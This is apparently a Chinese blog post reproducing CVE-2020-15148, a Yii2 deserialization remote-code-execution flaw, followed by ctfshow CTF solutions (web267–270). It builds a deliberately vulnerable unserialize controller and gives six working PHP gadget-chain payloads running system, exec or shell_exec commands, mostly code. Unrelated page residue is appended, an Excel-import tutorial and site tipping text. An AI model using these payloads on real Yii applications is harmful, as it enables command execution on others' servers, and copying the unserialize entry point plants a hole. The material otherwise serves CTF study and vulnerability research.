yii反序列化漏洞复现及利用

yii反序列化漏洞

Yii框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间Trait(特质)

漏洞描述

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

2.0.38已修复,官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,__wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞。

环境复现

本地使用phpstudy进行环境搭建

一定要选到YII安装目录的web目录,端口号重置下。配置好以后 就可以访问了

修改config\web.php中的cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不设置会报错

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

action为:http://url/index.php?r=test/test

controllers/TestController.php

<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($data){
        return unserialize(base64_decode($data));
    }
}

漏洞分析

漏洞的出发点是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中

/**
     * Destructor.
     */
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

正常来说跟进close()方法,但没有找到利用点。但是这里_dataReader是可控的,可以通过触发__call方法来进行利用。

__call(),在对象中调用一个不可访问方法时调用

当一个对象调用不可访问的close方法或者类中没有close方法,即可触发__call。全局搜索一下__call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php存在合适的方法

 public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

继续跟进format方法

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

使用方法:

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。

示例:

<?php
namespace Foobar;
class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
?>

跟进getFormatter

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

因为$this->formatters是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

这一步就需要一个执行类,这时需要类中的方法需要满足两个条件

  1. 方法所需的参数只能是其自己类中存在的(即参数:$this->args
  2. 方法需要有命令执行功能

查找调用了call_user_func函数的无参方法。

call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到命令执行的效果也可以达到RCE的效果

构造正则

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

image-20211005015323539

其中有两个类中的run方法可用:

yii\rest\CreateAction::run()$this->checkAccess, $this->id两个参数可控

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    ......
    
    return $model;
}

\yii\rest\IndexAction::run()$this->checkAccess, $this->id两个参数可控

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }
    return $this->prepareDataProvider();
}

由此可以构造pop链

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Faker\Generator::__call()->format()->call_user_func_array()
↓↓↓
\yii\rest\IndexAction::run->call_user_func()
poc1
<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

其他链子(之后复现)

yii 2.2.37
poc2
<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

yii 2.0.38
poc3
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
poc4
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
yii 2.0.42
poc5
<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
poc6
<?php

namespace yii\rest
{
    class IndexAction{
        function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Symfony\Component\String
{
    use yii\rest\IndexAction;
    class LazyString
    {
        function __construct()
        {
            $this->value = [new indexAction(), "run"];
        }
    } 
    class UnicodeString
    {
        function __construct()
        {
            $this->value = new LazyString();
        }
    }
}

namespace Faker
{
    use Symfony\Component\String\LazyString;
    class DefaultGenerator
    {
        function __construct()
        {
            $this->default = new LazyString();
        }
    }

    class UniqueGenerator
    {
        function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 99999999;
        }

    }
}

namespace Codeception\Extension
{
    use Faker\UniqueGenerator;
    class RunProcess
    {
        function __construct()
        {
            $this->processes[] = new UniqueGenerator();
        }
    }
}

namespace
{
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess();
    echo(base64_encode(serialize($exp)));
}

实战(ctfshow)

web267

首先弱密码admin/admin登录

在about界面查看源码,有<!--?view-source -->提示

尝试访问:index.php?r=site%2Fabout&view-source,路由介绍:yii路由

发现一个反序列化入口点:

image-20211005113417554

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';	//PHP函数
            $this->id = 'cp /fl* 1.txt';    //PHP函数的参数
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

之后再访问1.txt即可

直接cat flag的话会出现An internal server error occurred.

应该是设置了非调试模式的生产环境运行方式

web268

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'cp /f* 1.txt';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes = [];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}
namespace{


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

web269,270

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //命令执行
    echo(base64_encode(serialize($exp)));
}

参考链接:

https://www.extrader.top/posts/c79847ee/

https://www.yiichina.com/doc/guide/2.0/intro-yii

https://tari.moe/2021/04/06/ctfshow-unserialize/

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Yii2框架可以使用PhpSpreadsheet库来读取Excel文件并将其导入到数据库中。 以下是一个简单的示例: 1. 首先,您需要在您的项目中安装PhpSpreadsheet库。您可以通过在终端中导航到您的项目目录并运行以下命令来完成安装: ``` composer require phpoffice/phpspreadsheet ``` 2. 创建一个控制器和一个视图来处理文件上传和导入: 控制器: ```php <?php namespace app\controllers; use Yii; use yii\web\Controller; use yii\web\UploadedFile; use PhpOffice\PhpSpreadsheet\IOFactory; class ImportController extends Controller { public function actionIndex() { // 处理文件上传 if (Yii::$app->request->isPost) { $file = UploadedFile::getInstanceByName('file'); // 读取Excel文件 $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load($file->tempName); $worksheet = $spreadsheet->getActiveSheet(); // 读取数据并将其插入到数据库中 foreach ($worksheet->getRowIterator() as $row) { $rowData = $row->toArray(null, true, true, true); // 将数据插入到数据库中 } Yii::$app->session->setFlash('success', '导入成功'); } return $this->render('index'); } } ``` 视图: ```php <?php use yii\widgets\ActiveForm; ?> <?php $form = ActiveForm::begin(['options' => ['enctype' => 'multipart/form-data']]) ?> <?= $form->field($model, 'file')->fileInput() ?> <button type="submit" class="btn btn-primary">导入</button> <?php ActiveForm::end() ?> ``` 3. 运行应用程序并导航到“/ import”路由。选择要导入的Excel文件并提交表单。 这是一个简单的示例,您可以根据需要进行修改和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值